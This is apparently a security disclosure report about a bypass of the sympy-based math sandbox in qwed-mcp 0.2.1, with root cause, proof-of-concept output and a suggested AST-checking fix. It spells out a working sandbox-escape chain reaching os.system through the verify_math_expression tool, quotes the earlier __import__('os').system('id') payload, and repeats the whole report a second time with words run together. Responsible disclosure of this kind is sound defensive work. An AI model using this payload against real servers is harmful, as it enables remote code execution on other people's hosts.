hey, while looking at the fix for CVE-2026-55546 / GHSA-mw6r-2hvm-4rp2 that landed in qwed-mcp 0.2.1, i found that the new safe_parser.py sandbox can be bypassed on the patched version, giving remote code execution through the verify_math_expression MCP tool. this is a residual bypass of the v0.2.1 fix, not the original pre-fix issue.
what the v0.2.1 fix does
commit 362e618 added src/qwed_mcp/engines/safe_parser.py, wrapping sympy.parsing.sympy_parser.parse_expr with:
- a regex denylist
_DENYLIST_PATTERN (safe_parser.py:30) that rejects literal dunder strings (__globals__, __builtins__, __import__, __class__, __subclasses__, __getattr__, __bases__, __mro__, ...) and word-bounded keywords (\bos\b, \bsystem\b, \bimport\b, \bchr\b, \btype\b, \beval\b, ...).
- an empty builtins namespace
global_dict = {"__builtins__": {}} (safe_parser.py:46).
- a
local_dict of sympy symbols and functions, including sqrt: sympy.sqrt and cbrt: sympy.cbrt (safe_parser.py:79).
the bypass (works on patched 0.2.1)
two problems combine:
-
the regex only matches LITERAL dunder strings, so splitting a token with string concatenation evades it — '__glo'+'bals'+'__' never contains the literal __globals__. the denylist also bans __getattr__ but forgets __getattribute__ (safe_parser.py:33), and there is no rule for __call__ or .get(.
-
sqrt and cbrt in the local_dict are real python function objects, so they carry a __globals__ attribute pointing at their module globals, which holds the real __builtins__ dict. because parse_expr ultimately evaluates the expression with eval(code, global_dict, local_dict) (the eval_expr step), attribute access on the local_dict objects is executed as real python.
chain (one line, sent as the expression argument):
sqrt.__getattribute__('__glo'+'bals'+'__') # -> sqrt.__globals__ (regex evaded; __getattribute__ not denylisted)
.get('__buil'+'tins'+'__') # -> real builtins dict
.get('__imp'+'ort'+'__').__call__('o'+'s') # -> __import__('os') (.get / .__call__ avoid implicit_multiplication '*-insertion between ] and ( )
.__getattribute__('sy'+'stem').__call__('<cmd>') # -> os.system('<cmd>')
.get(...) and .__call__(...) are used instead of [...] / (...) because the implicit_multiplication_application transformation inserts a * between ]/) and (, which would break the subscript-then-call form.
proof of concept (cold, fresh process)
env: python 3.12.3, sympy 1.14.0, qwed-mcp 0.2.1 source (tag v0.2.1). the attached poc.py loads safe_parser.py standalone and runs the payload through both safe_parse_expr and the MCP tool. outcome:
$ python3 poc.py
FUNCTION_ENTRIES: ['sqrt', 'cbrt']
BUILTINS_TYPE: dict has get: True
REGEX_MATCH: None
CONTROL_BLOCKED: SafeParserError Expression contains disallowed construct: '__import__' # original CVE payload blocked -> fix is present
BYPASS_RESULT: 0 int # safe_parse_expr(payload) returned os.system exit code
MARKER1_CREATED: True # side-effect file created via public safe_parse_expr
MCP_VERIFY_RESULT: {'verified': True, 'message': 'Calculation verified', 'expected': '0', 'actual': '0', 'operation': 'evaluate'}
MCP_MARKER2_CREATED: True # marker created through the MCP tool verify_math_expression
the CONTROL line confirms the original __import__('os').system('id') payload is blocked on 0.2.1 — so the fix is present and this is genuinely testing patched code. the bypass payload creates a marker file on the host through both safe_parse_expr and the verify_math_expression MCP tool (math_engine.py:40 -> safe_parse_expr).
reachability
the verify_math_expression(expression, claimed_result) MCP tool (src/qwed_mcp/engines/math_engine.py) passes the caller-supplied expression straight into safe_parse_expr (math_engine.py:40), with ^ replaced by **. in normal use a user asks the model to verify a math expression and the model forwards it to the tool, so an attacker-controlled expression (the documented input class — the safe_parser.py docstring says "user-supplied math expressions") reaches eval and executes on the host running qwed-mcp. the claimed_result argument (math_engine.py:50) hits the same safe_parse_expr sink, so it is a second entry point.
affected versions
this is a residual bypass of the v0.2.1 fix. it affects qwed-mcp >= 0.2.1 (0.2.1 is the latest released version and the one that introduced the bypassable safe_parser). the prior advisory GHSA-mw6r-2hvm-4rp2 / CVE-2026-55546 covers < 0.2.1 (the pre-fix literal __import__ form); this is a separate post-fix vector and is not in that range.
suggested fix
the denylist approach is fundamentally insufficient for parse_expr/eval on untrusted input — any literal-string rule is evadable by string concatenation. a robust fix is to walk the AST before evaluation and reject ast.Attribute, ast.Subscript, ast.Lambda, ast.Starred and comprehension nodes: every sandbox-escape traversal needs an Attribute or Subscript node, while legit user math (sqrt(4), 2x, sin(x), x^2, x**2+1) never does. attached as fix.patch. i verified it blocks this bypass and the original CVE payload while preserving all the legit math forms above (no marker leak).
the deeper fix is to not route untrusted input through parse_expr (which uses eval) at all, and use a dedicated safe math parser instead.
hey, while looking at the fix for CVE-2026-55546 / GHSA-mw6r-2hvm-4rp2 that landed in qwed-mcp 0.2.1, i found that the new
safe_parser.pysandbox can be bypassed on the patched version, giving remote code execution through theverify_math_expressionMCP tool. this is a residual bypass of the v0.2.1 fix, not the original pre-fix issue.what the v0.2.1 fix does
commit 362e618 added
src/qwed_mcp/engines/safe_parser.py, wrappingsympy.parsing.sympy_parser.parse_exprwith:_DENYLIST_PATTERN(safe_parser.py:30) that rejects literal dunder strings (__globals__,__builtins__,__import__,__class__,__subclasses__,__getattr__,__bases__,__mro__, ...) and word-bounded keywords (\bos\b,\bsystem\b,\bimport\b,\bchr\b,\btype\b,\beval\b, ...).global_dict = {"__builtins__": {}}(safe_parser.py:46).local_dictof sympy symbols and functions, includingsqrt: sympy.sqrtandcbrt: sympy.cbrt(safe_parser.py:79).the bypass (works on patched 0.2.1)
two problems combine:
the regex only matches LITERAL dunder strings, so splitting a token with string concatenation evades it —
'__glo'+'bals'+'__'never contains the literal__globals__. the denylist also bans__getattr__but forgets__getattribute__(safe_parser.py:33), and there is no rule for__call__or.get(.sqrtandcbrtin the local_dict are real python function objects, so they carry a__globals__attribute pointing at their module globals, which holds the real__builtins__dict. becauseparse_exprultimately evaluates the expression witheval(code, global_dict, local_dict)(theeval_exprstep), attribute access on the local_dict objects is executed as real python.chain (one line, sent as the
expressionargument):.get(...)and.__call__(...)are used instead of[...]/(...)because theimplicit_multiplication_applicationtransformation inserts a*between]/)and(, which would break the subscript-then-call form.proof of concept (cold, fresh process)
env: python 3.12.3, sympy 1.14.0, qwed-mcp 0.2.1 source (tag v0.2.1). the attached
poc.pyloadssafe_parser.pystandalone and runs the payload through bothsafe_parse_exprand the MCP tool. outcome:the CONTROL line confirms the original
__import__('os').system('id')payload is blocked on 0.2.1 — so the fix is present and this is genuinely testing patched code. the bypass payload creates a marker file on the host through bothsafe_parse_exprand theverify_math_expressionMCP tool (math_engine.py:40 ->safe_parse_expr).reachability
the
verify_math_expression(expression, claimed_result)MCP tool (src/qwed_mcp/engines/math_engine.py) passes the caller-suppliedexpressionstraight intosafe_parse_expr(math_engine.py:40), with^replaced by**. in normal use a user asks the model to verify a math expression and the model forwards it to the tool, so an attacker-controlled expression (the documented input class — thesafe_parser.pydocstring says "user-supplied math expressions") reachesevaland executes on the host running qwed-mcp. theclaimed_resultargument (math_engine.py:50) hits the samesafe_parse_exprsink, so it is a second entry point.affected versions
this is a residual bypass of the v0.2.1 fix. it affects qwed-mcp
>= 0.2.1(0.2.1 is the latest released version and the one that introduced the bypassablesafe_parser). the prior advisory GHSA-mw6r-2hvm-4rp2 / CVE-2026-55546 covers< 0.2.1(the pre-fix literal__import__form); this is a separate post-fix vector and is not in that range.suggested fix
the denylist approach is fundamentally insufficient for
parse_expr/evalon untrusted input — any literal-string rule is evadable by string concatenation. a robust fix is to walk the AST before evaluation and rejectast.Attribute,ast.Subscript,ast.Lambda,ast.Starredand comprehension nodes: every sandbox-escape traversal needs anAttributeorSubscriptnode, while legit user math (sqrt(4),2x,sin(x),x^2,x**2+1) never does. attached asfix.patch. i verified it blocks this bypass and the original CVE payload while preserving all the legit math forms above (no marker leak).the deeper fix is to not route untrusted input through
parse_expr(which useseval) at all, and use a dedicated safe math parser instead.